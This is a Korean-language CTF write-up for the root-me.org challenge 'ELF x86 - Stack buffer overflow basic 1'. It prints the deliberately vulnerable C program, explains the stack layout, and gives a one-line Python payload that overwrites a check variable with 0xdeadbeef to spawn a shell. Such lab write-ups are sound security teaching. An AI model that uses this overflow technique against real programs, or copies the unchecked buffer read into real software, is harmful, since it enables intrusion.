반응형
root-me.org
[APP - SYSTEM]
ELF x86 - Stack buffer overflow basic 1 풀이
문제 소스:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 | #include <stdlib.h> #include <stdio.h> /* gcc -m32 -o ch13 ch13.c -fno-stack-protector */ int main() { int var; int check = 0x04030201; char buf[40]; fgets(buf,45,stdin); printf("\n[buf]: %s\n", buf); printf("[check] %p\n", check); if ((check != 0x04030201) && (check != 0xdeadbeef)) printf ("\nYou are on the right way!\n"); if (check == 0xdeadbeef) { printf("Yeah dude! You win!\nOpening your shell...\n"); system("/bin/dash"); printf("Shell closed! Bye.\n"); } return 0; } | cs |
buf의 크기는 40바이트인데, fgets 함수로 45바이트 만큼 buf에 입력을 받으므로 bof가 발생한다.
스택구조는 아래와 같으므로 40바이트만큼 아무 값으로 채워주고, 다음 4바이트를 0xdeadbeef로 채워주면 check의 값을 조작할 수 있다.
낮은주소
char buf[40] <- "A"*40
int check <- "\xef\xbe\xad\xde"
int var
높은주소
exploit
(python -c 'print "A"*40+"\xef\xbe\xad\xde"'; cat) | ./ch13
반응형